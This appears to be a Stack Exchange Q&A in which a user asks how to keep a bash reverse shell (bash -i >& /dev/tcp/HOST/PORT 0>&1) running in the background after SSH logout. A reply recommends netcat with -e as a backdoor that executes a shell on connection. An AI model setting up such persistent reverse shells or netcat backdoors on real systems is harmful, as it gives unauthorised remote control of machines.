I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for that.

I tried to run it in the background with:

bash -i >& /dev/tcp/HOST/PORT 0>&1 & and nohup bash -i >& /dev/tcp/HOST/PORT 0>&1 & disown

But the above commands do not seem to work. I also tried,

bg bash -i >& /dev/tcp/HOST/PORT 0>&1

It also is not working.

Both don't allow me to connect to server1 properly when using nc -l -vv -p PORT.

It does work when I just run bash -i >& /dev/tcp/HOST/PORT 0>&1, but that will close this specific connection when I disconnect the SSH connection and it also does not allow me to enter new commands after this command.

  • 1
    What are you trying to achieve? Why do you want to run it in the background? – TNW Mar 26 '14 at 21:23
  • @TNW If it does not run in the background, it closes the connection when you disconnect your SSH connection. it also doesn't all you to enter new commands when running this command. – Juhan Mar 26 '14 at 21:41
  • 2
    Why can't you just use netcat for both sides? Besides, just running command in background won't keep it running when you disconnect; you must either type disown after running the job or start it using nohup command. – TNW Mar 26 '14 at 22:40
  • @TNW Somehow disown and nohup don't keep it running either... And how would you run netcat in the background? Have you tried those commands yourself? – Juhan Mar 26 '14 at 23:09

I'm fairly certain your problem is that the -interactive operand expects a terminal and backgrounding the process cuts off its stdin/stdout. Consider using nc ... -e to invoke the shell upon connection. The link there is a handy little netcat pdf cheatsheet. For -e see BACKDOORS. You'll probably need a GNU build of nc to use it - else you'll want to recompile.

  • What does '( ( commandhere ) & ) &' actually do? It does not seem to work however... What is the full netcat command you suggest for running in the background? – Juhan Mar 27 '14 at 1:12
  • Sorry about the backgrounded one... I didnt know if it would work in that form or not and working on dinner. Have a look at this for an explanation: unix.stackexchange.com/questions/121253/… – mikeserv Mar 27 '14 at 1:36
  • @Juhan Made a minor edit - I mean to flesh this out a little soon, but of course youre free to downvote me if you dont find it sufficiently helpful as is. I apologize if thats the case. – mikeserv Mar 27 '14 at 1:46
  • How do you make sure netcat runs in the background when you close the SSH connection? – Juhan Mar 27 '14 at 23:06
  • Can you explain a little better what it is youre trying to do? 0>&1 is almost definitely a problem especially because you already effectively 2>&1 with >&. You can tell netcat to background itself and just watch a port only to execute a command upon connection with -l and -e and you can do much the same with ssh. – mikeserv Mar 28 '14 at 0:09

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.